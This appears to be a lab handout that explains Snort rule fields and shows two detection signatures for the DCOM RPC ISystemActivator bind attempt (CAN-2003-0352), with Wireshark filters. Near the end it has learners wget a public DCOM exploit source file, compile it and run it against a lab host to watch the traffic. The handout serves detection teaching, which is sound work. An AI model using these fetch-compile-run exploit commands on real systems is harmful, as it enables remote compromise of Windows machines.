Quick Snort Rule Demo

#############################
# Understanding Snort rules #
#############################
Field 1: Action - Snort can process events in 1 of 3 ways (alert, log, drop)

Field 2: Protocol - Snort understands a few types of traffic (tcp, udp, icmp)

Field 3: Source IP (can be a variable like $External_Net, or an IP, or a range)

Field 4: Source Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)

Field 5: Traffic Direction (->)

Field 6: Destination IP (can be a variable like $External_Net, or an IP, or a range)

Field 7: Destination Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)

Field 8: MSG - what is actually displayed on the analysts machine


Let's look at 2 simple rules
----------------------------------------------------------------------------------
alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:”NETBIOS DCERPC ISystemActivator \
bind attempt”; flow:to_server,established; content:”|05|”; distance:0; within:1; \
content:”|0b|”; distance:1; within:1; byte_test:1,&,1,0,relative; content:”|A0 01 00 \
00 00 00 00 00 C0 00 00 00 00 00 00 46|”; distance:29; within:16; \
reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:”NETBIOS SMB DCERPC ISystemActivator bind \
attempt”; flow:to_server,established; content:”|FF|SMB|25|”; nocase; offset:4; \
depth:5; content:”|26 00|”; distance:56; within:2; content:”|5c \
00|P|00|I|00|P|00|E|00 5c 00|”; nocase; distance:5; within:12; content:”|05|”; \
distance:0; within:1; content:”|0b|”; distance:1; within:1; \
byte_test:1,&,1,0,relative; content:”|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 \
46|”; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; \
sid:2193; rev:1;)
----------------------------------------------------------------------------------



From your Linux machine ping your Windows machine
---------------------------Type This-----------------------------------
ping 192.168.150.1
-----------------------------------------------------------------------


Start wireshark and let's create some simple filters:

Filter 1:
ip.addr==192.168.150.1
-----------------------------------------------------------------------

Filter 2:
ip.addr==192.168.150.1 && icmp
-----------------------------------------------------------------------


Filter 3:
ip.addr==192.168.150.1 && !(tcp.port==22)
-----------------------------------------------------------------------
Now stop your capture and restart it (make sure you keep the filter)




Back to your Linux machine:
[ CTRL-C ] - to stop your ping

wget http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c


gcc -o exploit oc192-dcom.c

./exploit


./exploit -d 192.168.150.1 -t 0
-----------------------------------------------------------------------



Now go back to WireShark and stop the capture.